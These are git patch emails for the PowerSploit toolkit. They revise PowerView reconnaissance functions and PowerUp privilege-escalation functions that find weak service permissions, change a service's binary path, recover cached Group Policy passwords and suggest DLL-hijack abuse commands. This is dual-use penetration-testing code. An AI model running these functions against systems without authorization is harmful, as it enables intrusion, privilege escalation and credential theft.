[Runtime.InteropServices.Marshal]::GetLastWin32Error if($Result2 -eq 0) { Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)" @@ -7734,9 +7733,8 @@ function Get-NetLocalGroup { $LocalUser | Add-Member Noteproperty 'AccountName' $Info.lgrmi2_domainandname $LocalUser | Add-Member Noteproperty 'SID' $SidString - $IsGroup = $($Info.lgrmi2_sidusage -ne 'SidTypeUser') + $IsGroup = $($Info.lgrmi2_sidusage -eq 'SidTypeGroup') $LocalUser | Add-Member Noteproperty 'IsGroup' $IsGroup - $LocalUser.PSObject.TypeNames.Add('PowerView.LocalUserAPI') $LocalUsers += $LocalUser @@ -7793,9 +7791,11 @@ function Get-NetLocalGroup { $Member | Add-Member Noteproperty 'ComputerName' $Server $AdsPath = ($_.GetType().InvokeMember('Adspath', 'GetProperty', $Null, $_, $Null)).Replace('WinNT://', '') + $Class = $_.GetType().InvokeMember('Class', 'GetProperty', $Null, $_, $Null) # try to translate the NT4 domain to a FQDN if possible $Name = Convert-ADName -ObjectName $AdsPath -InputType 'NT4' -OutputType 'Canonical' + $IsGroup = $Class -eq "Group" if($Name) { $FQDN = $Name.split("/")[0] @@ -7804,33 +7804,30 @@ function Get-NetLocalGroup { $IsDomain = $True } else { + $ObjName = $AdsPath.split("/")[-1] $Name = $AdsPath $IsDomain = $False } $Member | Add-Member Noteproperty 'AccountName' $Name + $Member | Add-Member Noteproperty 'IsDomain' $IsDomain + $Member | Add-Member Noteproperty 'IsGroup' $IsGroup if($IsDomain) { # translate the binary sid to a string $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($_.GetType().InvokeMember('ObjectSID', 'GetProperty', $Null, $_, $Null),0)).Value) - $Member | Add-Member Noteproperty 'Description' "" - $Member | Add-Member Noteproperty 'Disabled' $False - - # check if the member is a group - $IsGroup = ($_.GetType().InvokeMember('Class', 'GetProperty', $Null, $_, $Null) -eq 'group') - $Member | Add-Member Noteproperty 'IsGroup' $IsGroup - $Member | Add-Member Noteproperty 'IsDomain' $IsDomain + $Member | Add-Member Noteproperty 'Disabled' "" if($IsGroup) { - $Member | Add-Member Noteproperty 'LastLogin' $Null + $Member | Add-Member Noteproperty 'LastLogin' "" } else { try { $Member | Add-Member Noteproperty 'LastLogin' ( $_.GetType().InvokeMember('LastLogin', 'GetProperty', $Null, $_, $Null)) } catch { - $Member | Add-Member Noteproperty 'LastLogin' $Null + $Member | Add-Member Noteproperty 'LastLogin' "" } } $Member | Add-Member Noteproperty 'PwdLastSet' "" @@ -7843,20 +7840,21 @@ function Get-NetLocalGroup { # translate the binary sid to a string $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.objectSid.value,0)).Value) - $Member | Add-Member Noteproperty 'Description' ($LocalUser.Description[0]) - # UAC flags of 0x2 mean the account is disabled - $Member | Add-Member Noteproperty 'Disabled' $(($LocalUser.userFlags.value -band 2) -eq 2) - - # check if the member is a group - $Member | Add-Member Noteproperty 'IsGroup' ($LocalUser.SchemaClassName -like 'group') - $Member | Add-Member Noteproperty 'IsDomain' $IsDomain - if($IsGroup) { + $Member | Add-Member Noteproperty 'PwdLastSet' "" + $Member | Add-Member Noteproperty 'PwdExpired' "" + $Member | Add-Member Noteproperty 'UserFlags' "" + $Member | Add-Member Noteproperty 'Disabled' "" $Member | Add-Member Noteproperty 'LastLogin' "" } else { + $Member | Add-Member Noteproperty 'PwdLastSet' ( (Get-Date).AddSeconds(-$LocalUser.PasswordAge[0])) + $Member | Add-Member Noteproperty 'PwdExpired' ( $LocalUser.PasswordExpired[0] -eq '1') + $Member | Add-Member Noteproperty 'UserFlags' ( $LocalUser.UserFlags[0] ) + # UAC flags of 0x2 mean the account is disabled + $Member | Add-Member Noteproperty 'Disabled' $(($LocalUser.userFlags.value -band 2) -eq 2) try { $Member | Add-Member Noteproperty 'LastLogin' ( $LocalUser.LastLogin[0]) } @@ -7864,64 +7862,64 @@ function Get-NetLocalGroup { $Member | Add-Member Noteproperty 'LastLogin' "" } } - - $Member | Add-Member Noteproperty 'PwdLastSet' ( (Get-Date).AddSeconds(-$LocalUser.PasswordAge[0])) - $Member | Add-Member Noteproperty 'PwdExpired' ( $LocalUser.PasswordExpired[0] -eq '1') - $Member | Add-Member Noteproperty 'UserFlags' ( $LocalUser.UserFlags[0] ) } $Member.PSObject.TypeNames.Add('PowerView.LocalUser') $Member - # if the result is a group domain object and we're recursing, try to resolve all the group member results - if($Recurse -and $IsDomain -and $IsGroup) { - - $FQDN = $Name.split("/")[0] - $GroupName = $Name.split("/")[1].trim() - - Get-NetGroupMember -GroupName $GroupName -Domain $FQDN -FullData -Recurse | ForEach-Object { - - $Member = New-Object PSObject - $Member | Add-Member Noteproperty 'ComputerName' "$FQDN/$($_.GroupName)" - - $MemberDN = $_.distinguishedName - # extract the FQDN from the Distinguished Name - $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' - - $MemberIsGroup = @('268435456','268435457','536870912','536870913') -contains $_.samaccounttype - - if ($_.samAccountName) { - # forest users have the samAccountName set - $MemberName = $_.samAccountName - } - else { - try { - # external trust users have a SID, so convert it - try { - $MemberName = Convert-SidToName $_.cn - } - catch { - # if there's a problem contacting the domain to resolve the SID - $MemberName = $_.cn - } - } - catch { - Write-Verbose "Error resolving SID : $_" - } - } - - $Member | Add-Member Noteproperty 'AccountName' "$MemberDomain/$MemberName" - $Member | Add-Member Noteproperty 'SID' $_.objectsid - $Member | Add-Member Noteproperty 'Description' $_.description - $Member | Add-Member Noteproperty 'Disabled' $False - $Member | Add-Member Noteproperty 'IsGroup' $MemberIsGroup - $Member | Add-Member Noteproperty 'IsDomain' $True - $Member | Add-Member Noteproperty 'LastLogin' '' - $Member | Add-Member Noteproperty 'PwdLastSet' $_.pwdLastSet - $Member | Add-Member Noteproperty 'PwdExpired' '' - $Member | Add-Member Noteproperty 'UserFlags' $_.userAccountControl - $Member.PSObject.TypeNames.Add('PowerView.LocalUser') - $Member - } + # if the result is a group domain object and we're recursing, + # try to resolve all the group member results + if($Recurse -and $IsGroup) { + if($IsDomain) { + $FQDN = $Name.split("/")[0] + $GroupName = $Name.split("/")[1].trim() + + Get-NetGroupMember -GroupName $GroupName -Domain $FQDN -FullData -Recurse | ForEach-Object { + + $Member = New-Object PSObject + $Member | Add-Member Noteproperty 'ComputerName' "$FQDN/$($_.GroupName)" + + $MemberDN = $_.distinguishedName + # extract the FQDN from the Distinguished Name + $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' + + $MemberIsGroup = @('268435456','268435457','536870912','536870913') -contains $_.samaccounttype + + if ($_.samAccountName) { + # forest users have the samAccountName set + $MemberName = $_.samAccountName + } + else { + try { + # external trust users have a SID, so convert it + try { + $MemberName = Convert-SidToName $_.cn + } + catch { + # if there's a problem contacting the domain to resolve the SID + $MemberName = $_.cn + } + } + catch { + Write-Debug "Error resolving SID : $_" + } + } + + $Member | Add-Member Noteproperty 'AccountName' "$MemberDomain/$MemberName" + $Member | Add-Member Noteproperty 'SID' $_.objectsid + $Member | Add-Member Noteproperty 'Description' $_.description + $Member | Add-Member Noteproperty 'Disabled' $False + $Member | Add-Member Noteproperty 'IsGroup' $MemberIsGroup + $Member | Add-Member Noteproperty 'IsDomain' $True + $Member | Add-Member Noteproperty 'LastLogin' '' + $Member | Add-Member Noteproperty 'PwdLastSet' $_.pwdLastSet + $Member | Add-Member Noteproperty 'PwdExpired' '' + $Member | Add-Member Noteproperty 'UserFlags' $_.userAccountControl + $Member.PSObject.TypeNames.Add('PowerView.LocalUser') + $Member + } + } else { + Get-NetLocalGroup -ComputerName $Server -GroupName $ObjName -Recurse + } } } } @@ -7934,7 +7932,6 @@ function Get-NetLocalGroup { } } - filter Get-NetShare { <# .SYNOPSIS From 3585c9b4accf1f98cc97548897914fb27b096f16 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Tue, 21 Jun 2016 20:31:28 +0100 Subject: [PATCH 170/296] Add missing parenthesis --- Recon/PowerView.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 4bcbbd1c..d6693027 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -7722,7 +7722,7 @@ function Get-NetLocalGroup { $Offset += $Increment $SidString = "" - $Result2 = $Advapi32::ConvertSidToStringSid($Info.lgrmi2_sid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error + $Result2 = $Advapi32::ConvertSidToStringSid($Info.lgrmi2_sid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() if($Result2 -eq 0) { Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)" From 8dea905998fbebfbcc14bc08cd3dd43a0d671a97 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Thu, 23 Jun 2016 17:51:17 -0400 Subject: [PATCH 171/296] Fixed bug in Get-ModifiablePath that resulted in spaces being expanded to the current directory location Fixed other logic bugs in Get-ModifiablePath Fixed bug in Add-ServiceDacl when the [ServiceProcess.ServiceController] wasn't loaded yet by Get-Service Error handling for Get-CachedGPPPassword Changed some Write-Warnings to Write-Verbose Updated Privesc Pester tests for PowerUp --- Privesc/PowerUp.ps1 | 90 ++++++++++++++++++++++++----------------- Tests/Privesc.tests.ps1 | 53 +++++++++++++++++++++--- 2 files changed, 101 insertions(+), 42 deletions(-) diff --git a/Privesc/PowerUp.ps1 b/Privesc/PowerUp.ps1 index 39e571a2..0b622452 100644 --- a/Privesc/PowerUp.ps1 +++ b/Privesc/PowerUp.ps1 @@ -865,27 +865,34 @@ function Get-ModifiablePath { else { ForEach($SeparationCharacterSet in $SeparationCharacterSets) { $TargetPath.Split($SeparationCharacterSet) | Where-Object {$_ -and ($_.trim() -ne '')} | ForEach-Object { + if(($SeparationCharacterSet -notmatch ' ')) { - $TempPath = $([System.Environment]::ExpandEnvironmentVariables($_)) - if(Test-Path -Path $TempPath -ErrorAction SilentlyContinue) { - $CandidatePaths += Resolve-Path -Path $TempPath | Select-Object -ExpandProperty Path - } - else { - # if the path doesn't exist, check if the parent folder allows for modification - try { - $ParentPath = Split-Path $TempPath -Parent - if($ParentPath -and (Test-Path -Path $ParentPath )) { - $CandidatePaths += Resolve-Path -Path $ParentPath -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Path - } + $TempPath = $([System.Environment]::ExpandEnvironmentVariables($_)).Trim() + + if($TempPath -and ($TempPath -ne '')) { + if(Test-Path -Path $TempPath -ErrorAction SilentlyContinue) { + # if the path exists, resolve it and add it to the candidate list + $CandidatePaths += Resolve-Path -Path $TempPath | Select-Object -ExpandProperty Path } - catch { - # because Split-Path doesn't handle -ErrorAction SilentlyContinue nicely + + else { + # if the path doesn't exist, check if the parent folder allows for modification + try { + $ParentPath = (Split-Path -Path $TempPath -Parent).Trim() + if($ParentPath -and ($ParentPath -ne '') -and (Test-Path -Path $ParentPath )) { + $CandidatePaths += Resolve-Path -Path $ParentPath | Select-Object -ExpandProperty Path + } + } + catch { + # trap because Split-Path doesn't handle -ErrorAction SilentlyContinue nicely + } } } } else { - $CandidatePaths += Resolve-Path -Path $([System.Environment]::ExpandEnvironmentVariables($_)) -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Path + # if the separator contains a space + $CandidatePaths += Resolve-Path -Path $([System.Environment]::ExpandEnvironmentVariables($_)) -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Path | ForEach-Object {$_.Trim()} | Where-Object {($_ -ne '') -and (Test-Path -Path $_)} } } } @@ -1024,9 +1031,9 @@ function Add-ServiceDacl { service with using the GetServiceHandle Win32 API call and then uses QueryServiceObjectSecurity to retrieve a copy of the security descriptor for the service. - .PARAMETER Service + .PARAMETER Name - An array of one or more ServiceProcess.ServiceController objects from Get-Service. Required. + An array of one or more service names to add a service Dacl for. Passable on the pipeline. .EXAMPLE @@ -1051,10 +1058,11 @@ function Add-ServiceDacl { [OutputType('ServiceProcess.ServiceController')] param ( - [Parameter(Mandatory=$True, ValueFromPipeline=$True)] - [ServiceProcess.ServiceController[]] + [Parameter(Position=0, Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)] + [Alias('ServiceName')] + [String[]] [ValidateNotNullOrEmpty()] - $Service + $Name ) BEGIN { @@ -1062,8 +1070,8 @@ function Add-ServiceDacl { [OutputType([IntPtr])] param ( [Parameter(Mandatory=$True, ValueFromPipeline=$True)] - [ServiceProcess.ServiceController] [ValidateNotNullOrEmpty()] + [ValidateScript({ $_ -as 'ServiceProcess.ServiceController' })] $Service ) @@ -1078,13 +1086,17 @@ function Add-ServiceDacl { } PROCESS { - ForEach ($IndividualService in $Service) { + ForEach($ServiceName in $Name) { + + $IndividualService = Get-Service -Name $ServiceName -ErrorAction Stop + try { + Write-Verbose "Add-ServiceDacl IndividualService : $($IndividualService.Name)" $ServiceHandle = Get-ServiceReadControlHandle -Service $IndividualService } catch { $ServiceHandle = $Null - Write-Warning "Error opening up the service handle with read control for: $($IndividualService.Name)" + Write-Verbose "Error opening up the service handle with read control for $($IndividualService.Name) : $_" } if ($ServiceHandle -and ($ServiceHandle -ne [IntPtr]::Zero)) { @@ -1214,7 +1226,7 @@ function Set-ServiceBinPath { } catch { $ServiceHandle = $Null - Write-Warning "Error opening up the service handle with read control for $($TargetService.Name) : $_" + Write-Verbose "Error opening up the service handle with read control for $IndividualService : $_" } if ($ServiceHandle -and ($ServiceHandle -ne [IntPtr]::Zero)) { @@ -1224,7 +1236,7 @@ function Set-ServiceBinPath { $Result = $Advapi32::ChangeServiceConfig($ServiceHandle, $SERVICE_NO_CHANGE, $SERVICE_NO_CHANGE, $SERVICE_NO_CHANGE, "$binPath", [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() if ($Result -ne 0) { - Write-Verbose "binPath for $($TargetService.Name) successfully set to '$binPath'" + Write-Verbose "binPath for $IndividualService successfully set to '$binPath'" $True } else { @@ -1364,7 +1376,7 @@ function Test-ServiceDaclPermission { ForEach($IndividualService in $Name) { - $TargetService = Get-Service -Name $IndividualService | Add-ServiceDacl + $TargetService = $IndividualService | Add-ServiceDacl if($TargetService -and $TargetService.Dacl) { @@ -1381,7 +1393,7 @@ function Test-ServiceDaclPermission { ForEach($TargetPermission in $TargetPermissions) { # check permissions && style if (($ServiceDacl.AccessRights -band $AccessMask[$TargetPermission]) -ne $AccessMask[$TargetPermission]) { - Write-Verbose "Current user doesn't have '$TargetPermission' for $($TargetService.Name)" + # Write-Verbose "Current user doesn't have '$TargetPermission' for $($TargetService.Name)" $AllMatched = $False break } @@ -1394,7 +1406,7 @@ function Test-ServiceDaclPermission { ForEach($TargetPermission in $TargetPermissions) { # check permissions || style if (($ServiceDacl.AccessRights -band $AccessMask[$TargetPermission]) -eq $AccessMask[$TargetPermission]) { - Write-Verbose "Current user has '$TargetPermission' for $($TargetService.Name)" + Write-Verbose "Current user has '$TargetPermission' for $IndividualService" $TargetService break } @@ -1404,7 +1416,7 @@ function Test-ServiceDaclPermission { } } else { - Write-Warning "Error enumerating the Dacl for service $($TargetService.Name)" + Write-Verbose "Error enumerating the Dacl for service $IndividualService" } } } @@ -1434,6 +1446,7 @@ function Get-ServiceUnquoted { https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/trusted_service_path.rb #> + [CmdletBinding()] param() # find all paths to service .exe's that have a space in the path and aren't quoted $VulnServices = Get-WmiObject -Class win32_service | Where-Object {$_} | Where-Object {($_.pathname -ne $null) -and ($_.pathname.trim() -ne '')} | Where-Object { (-not $_.pathname.StartsWith("`"")) -and (-not $_.pathname.StartsWith("'"))} | Where-Object {($_.pathname.Substring(0, $_.pathname.ToLower().IndexOf(".exe") + 4)) -match ".* .*"} @@ -1441,7 +1454,7 @@ function Get-ServiceUnquoted { if ($VulnServices) { ForEach ($Service in $VulnServices) { - $ModifiableFiles = $Service.pathname | Get-ModifiablePath + $ModifiableFiles = $Service.pathname.split(' ') | Get-ModifiablePath $ModifiableFiles | Where-Object {$_ -and $_.ModifiablePath -and ($_.ModifiablePath -ne '')} | Foreach-Object { $ServiceRestart = Test-ServiceDaclPermission -PermissionSet 'Restart' -Name $Service.name @@ -1487,6 +1500,7 @@ function Get-ModifiableServiceFile { Get a set of potentially exploitable service binares/config files. #> + [CmdletBinding()] param() Get-WMIObject -Class win32_service | Where-Object {$_ -and $_.pathname} | ForEach-Object { @@ -1537,6 +1551,7 @@ function Get-ModifiableService { Get a set of potentially exploitable services. #> + [CmdletBinding()] param() Get-Service | Test-ServiceDaclPermission -PermissionSet 'ChangeConfig' | ForEach-Object { @@ -1612,7 +1627,7 @@ function Get-ServiceDetail { $_ } catch{ - Write-Warning "Error: $_" + Write-Verbose "Error: $_" $null } } @@ -3689,12 +3704,15 @@ function Get-CachedGPPPassword { # discover any locally cached GPP .xml files $XMlFiles = Get-ChildItem -Path $AllUsers -Recurse -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml' -Force -ErrorAction SilentlyContinue - if ( -not $XMlFiles ) { throw 'No preference files found.' } + if ( -not $XMlFiles ) { + Write-Verbose 'No preference files found.' + } + else { + Write-Verbose "Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords." - Write-Verbose "Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords." - - ForEach ($File in $XMLFiles) { - Get-GppInnerFields $File.Fullname + ForEach ($File in $XMLFiles) { + Get-GppInnerFields $File.Fullname + } } } @@ -3839,7 +3857,7 @@ function Invoke-AllChecks { "`n`n[*] Checking %PATH% for potentially hijackable DLL locations..." $Results = Find-PathDLLHijack - $Results | Foreach-Object { + $Results | Where-Object {$_} | Foreach-Object { $AbuseString = "Write-HijackDll -DllPath '$($_.ModifiablePath)\wlbsctrl.dll'" $_ | Add-Member Noteproperty 'AbuseFunction' $AbuseString $_ diff --git a/Tests/Privesc.tests.ps1 b/Tests/Privesc.tests.ps1 index a36338e3..9b9872b9 100644 --- a/Tests/Privesc.tests.ps1 +++ b/Tests/Privesc.tests.ps1 @@ -129,7 +129,7 @@ Describe 'Get-ModifiablePath' { Describe 'Get-CurrentUserTokenGroupSid' { if(-not $(Test-IsAdmin)) { - Throw "'Add-ServiceDacl' Pester test needs local administrator privileges." + Throw "'Get-CurrentUserTokenGroupSid' Pester test needs local administrator privileges." } It 'Should not throw.' { @@ -167,21 +167,62 @@ Describe 'Add-ServiceDacl' { {Get-Service | Add-ServiceDacl} | Should Not Throw } - It 'Should accept a service as a parameter argument.' { - $Service = Get-Service | Select-Object -First 1 - $ServiceWithDacl = Add-ServiceDacl -Service $Service + It 'Should fail for a non-existent service.' { + $ServiceName = Get-RandomName + {$Result = Add-ServiceDacl -Name $ServiceName} | Should Throw + } + + It 'Should accept a service name as a parameter argument.' { + $ServiceName = Get-Service | Select-Object -First 1 | Select-Object -ExpandProperty Name + $ServiceWithDacl = Add-ServiceDacl -Name $ServiceName if(-not $ServiceWithDacl.Dacl) { Throw "'Add-ServiceDacl' doesn't return a Dacl for a service passed as parameter." } } + It 'Should accept an array of service names as a parameter argument.' { + $ServiceNames = Get-Service | Select-Object -First 5 | Select-Object -ExpandProperty Name + $ServicesWithDacl = Add-ServiceDacl -Name $ServiceNames + + if(-not $ServicesWithDacl.Dacl) { + Throw "'Add-ServiceDacl' doesn't return Dacls for an array of service names as a parameter." + } + } + It 'Should accept a service object on the pipeline.' { $Service = Get-Service | Select-Object -First 1 $ServiceWithDacl = $Service | Add-ServiceDacl if(-not $ServiceWithDacl.Dacl) { - Throw "'Add-ServiceDacl' doesn't return a Dacl for a service passed as parameter." + Throw "'Add-ServiceDacl' doesn't return a Dacl for a service object on the pipeline." + } + } + + It 'Should accept a service name on the pipeline.' { + $ServiceName = Get-Service | Select-Object -First 1 | Select-Object -ExpandProperty Name + $ServiceWithDacl = $ServiceName | Add-ServiceDacl + + if(-not $ServiceWithDacl.Dacl) { + Throw "'Add-ServiceDacl' doesn't return a Dacl for a service name on the pipeline." + } + } + + It 'Should accept multiple service objects on the pipeline.' { + $Services = Get-Service | Select-Object -First 5 + $ServicesWithDacl = $Services | Add-ServiceDacl + + if(-not $ServicesWithDacl.Dacl) { + Throw "'Add-ServiceDacl' doesn't return Dacls for multiple service objects on the pipeline." + } + } + + It 'Should accept multiple service names on the pipeline.' { + $ServiceNames = Get-Service | Select-Object -First 5 | Select-Object -ExpandProperty Name + $ServicesWithDacl = $ServiceNames | Add-ServiceDacl + + if(-not $ServicesWithDacl.Dacl) { + Throw "'Add-ServiceDacl' doesn't return Dacls for multiple service names on the pipeline." } } @@ -407,7 +448,7 @@ Describe 'Test-ServiceDaclPermission' { Describe 'Get-ServiceUnquoted' { if(-not $(Test-IsAdmin)) { - Throw "'Get-ServicePermission' Pester test needs local administrator privileges." + Throw "'Get-ServiceUnquoted' Pester test needs local administrator privileges." } It "Should not throw." { From cd1e10b8fd442f6bd0a5562706e174e4cfd3e65b Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Fri, 24 Jun 2016 16:07:26 -0400 Subject: [PATCH 172/296] Turned Get-GptTmpl and Get-GroupsXML into filters --- Recon/PowerView.ps1 | 234 +++++++++++++++++++++++--------------------- 1 file changed, 121 insertions(+), 113 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index d6693027..0125ed8e 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -6015,7 +6015,8 @@ function Get-DFSshare { # ######################################################## -function Get-GptTmpl { + +filter Get-GptTmpl { <# .SYNOPSIS @@ -6046,53 +6047,48 @@ function Get-GptTmpl { $UsePSDrive ) - begin { - if($UsePSDrive) { - # if we're PSDrives, create a temporary mount point - $Parts = $GptTmplPath.split('\') - $FolderPath = $Parts[0..($Parts.length-2)] -join '\' - $FilePath = $Parts[-1] - $RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join '' - - Write-Verbose "Mounting path $GptTmplPath using a temp PSDrive at $RandDrive" + if($UsePSDrive) { + # if we're PSDrives, create a temporary mount point + $Parts = $GptTmplPath.split('\') + $FolderPath = $Parts[0..($Parts.length-2)] -join '\' + $FilePath = $Parts[-1] + $RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join '' - try { - $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop - } - catch { - Write-Verbose "Error mounting path $GptTmplPath : $_" - return $Null - } + Write-Verbose "Mounting path $GptTmplPath using a temp PSDrive at $RandDrive" - # so we can cd/dir the new drive - $TargetGptTmplPath = $RandDrive + ":\" + $FilePath - } - else { - $TargetGptTmplPath = $GptTmplPath - } - Write-Verbose "GptTmplPath: $GptTmplPath" - } - - process { try { - Write-Verbose "Parsing $TargetGptTmplPath" - $TargetGptTmplPath | Get-IniContent -ErrorAction SilentlyContinue + $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop } catch { - Write-Verbose "Error parsing $TargetGptTmplPath : $_" + Write-Verbose "Error mounting path $GptTmplPath : $_" + return $Null } + + # so we can cd/dir the new drive + $TargetGptTmplPath = $RandDrive + ":\" + $FilePath + } + else { + $TargetGptTmplPath = $GptTmplPath } - end { - if($UsePSDrive -and $RandDrive) { - Write-Verbose "Removing temp PSDrive $RandDrive" - Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force - } + Write-Verbose "GptTmplPath: $GptTmplPath" + + try { + Write-Verbose "Parsing $TargetGptTmplPath" + $TargetGptTmplPath | Get-IniContent -ErrorAction SilentlyContinue + } + catch { + Write-Verbose "Error parsing $TargetGptTmplPath : $_" + } + + if($UsePSDrive -and $RandDrive) { + Write-Verbose "Removing temp PSDrive $RandDrive" + Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force } } -function Get-GroupsXML { +filter Get-GroupsXML { <# .SYNOPSIS @@ -6117,100 +6113,93 @@ function Get-GroupsXML { $UsePSDrive ) - begin { - if($UsePSDrive) { - # if we're PSDrives, create a temporary mount point - $Parts = $GroupsXMLPath.split('\') - $FolderPath = $Parts[0..($Parts.length-2)] -join '\' - $FilePath = $Parts[-1] - $RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join '' - - Write-Verbose "Mounting path $GroupsXMLPath using a temp PSDrive at $RandDrive" + if($UsePSDrive) { + # if we're PSDrives, create a temporary mount point + $Parts = $GroupsXMLPath.split('\') + $FolderPath = $Parts[0..($Parts.length-2)] -join '\' + $FilePath = $Parts[-1] + $RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join '' - try { - $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop - } - catch { - Write-Verbose "Error mounting path $GroupsXMLPath : $_" - return $Null - } + Write-Verbose "Mounting path $GroupsXMLPath using a temp PSDrive at $RandDrive" - # so we can cd/dir the new drive - $TargetGroupsXMLPath = $RandDrive + ":\" + $FilePath + try { + $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop } - else { - $TargetGroupsXMLPath = $GroupsXMLPath + catch { + Write-Verbose "Error mounting path $GroupsXMLPath : $_" + return $Null } - } - process { + # so we can cd/dir the new drive + $TargetGroupsXMLPath = $RandDrive + ":\" + $FilePath + } + else { + $TargetGroupsXMLPath = $GroupsXMLPath + } - try { - [XML]$GroupsXMLcontent = Get-Content $TargetGroupsXMLPath -ErrorAction Stop + try { + [XML]$GroupsXMLcontent = Get-Content $TargetGroupsXMLPath -ErrorAction Stop - # process all group properties in the XML - $GroupsXMLcontent | Select-Xml "//Groups" | Select-Object -ExpandProperty node | ForEach-Object { + # process all group properties in the XML + $GroupsXMLcontent | Select-Xml "//Groups" | Select-Object -ExpandProperty node | ForEach-Object { - $Groupname = $_.Group.Properties.groupName + $Groupname = $_.Group.Properties.groupName - # extract the localgroup sid for memberof - $GroupSID = $_.Group.Properties.GroupSid - if(-not $LocalSid) { - if($Groupname -match 'Administrators') { - $GroupSID = 'S-1-5-32-544' - } - elseif($Groupname -match 'Remote Desktop') { - $GroupSID = 'S-1-5-32-555' - } - elseif($Groupname -match 'Guests') { - $GroupSID = 'S-1-5-32-546' - } - else { - $GroupSID = Convert-NameToSid -ObjectName $Groupname | Select-Object -ExpandProperty SID - } + # extract the localgroup sid for memberof + $GroupSID = $_.Group.Properties.GroupSid + if(-not $LocalSid) { + if($Groupname -match 'Administrators') { + $GroupSID = 'S-1-5-32-544' } - - # extract out members added to this group - $Members = $_.Group.Properties.members | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object { - if($_.sid) { $_.sid } - else { $_.name } + elseif($Groupname -match 'Remote Desktop') { + $GroupSID = 'S-1-5-32-555' + } + elseif($Groupname -match 'Guests') { + $GroupSID = 'S-1-5-32-546' } + else { + $GroupSID = Convert-NameToSid -ObjectName $Groupname | Select-Object -ExpandProperty SID + } + } - if ($Members) { + # extract out members added to this group + $Members = $_.Group.Properties.members | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object { + if($_.sid) { $_.sid } + else { $_.name } + } - # extract out any/all filters...I hate you GPP - if($_.Group.filters) { - $Filters = $_.Group.filters.GetEnumerator() | ForEach-Object { - New-Object -TypeName PSObject -Property @{'Type' = $_.LocalName;'Value' = $_.name} - } - } - else { - $Filters = $Null + if ($Members) { + + # extract out any/all filters...I hate you GPP + if($_.Group.filters) { + $Filters = $_.Group.filters.GetEnumerator() | ForEach-Object { + New-Object -TypeName PSObject -Property @{'Type' = $_.LocalName;'Value' = $_.name} } + } + else { + $Filters = $Null + } - if($Members -isnot [System.Array]) { $Members = @($Members) } + if($Members -isnot [System.Array]) { $Members = @($Members) } - $GPOGroup = New-Object PSObject - $GPOGroup | Add-Member Noteproperty 'GPOPath' $TargetGroupsXMLPath - $GPOGroup | Add-Member Noteproperty 'Filters' $Filters - $GPOGroup | Add-Member Noteproperty 'GroupName' $GroupName - $GPOGroup | Add-Member Noteproperty 'GroupSID' $GroupSID - $GPOGroup | Add-Member Noteproperty 'GroupMemberOf' $Null - $GPOGroup | Add-Member Noteproperty 'GroupMembers' $Members - $GPOGroup - } + $GPOGroup = New-Object PSObject + $GPOGroup | Add-Member Noteproperty 'GPOPath' $TargetGroupsXMLPath + $GPOGroup | Add-Member Noteproperty 'Filters' $Filters + $GPOGroup | Add-Member Noteproperty 'GroupName' $GroupName + $GPOGroup | Add-Member Noteproperty 'GroupSID' $GroupSID + $GPOGroup | Add-Member Noteproperty 'GroupMemberOf' $Null + $GPOGroup | Add-Member Noteproperty 'GroupMembers' $Members + $GPOGroup } } - catch { - Write-Verbose "Error parsing $TargetGroupsXMLPath : $_" - } + } + catch { + Write-Verbose "Error parsing $TargetGroupsXMLPath : $_" } - end { - if($UsePSDrive -and $RandDrive) { - Write-Verbose "Removing temp PSDrive $RandDrive" - Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force - } + if($UsePSDrive -and $RandDrive) { + Write-Verbose "Removing temp PSDrive $RandDrive" + Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force } } 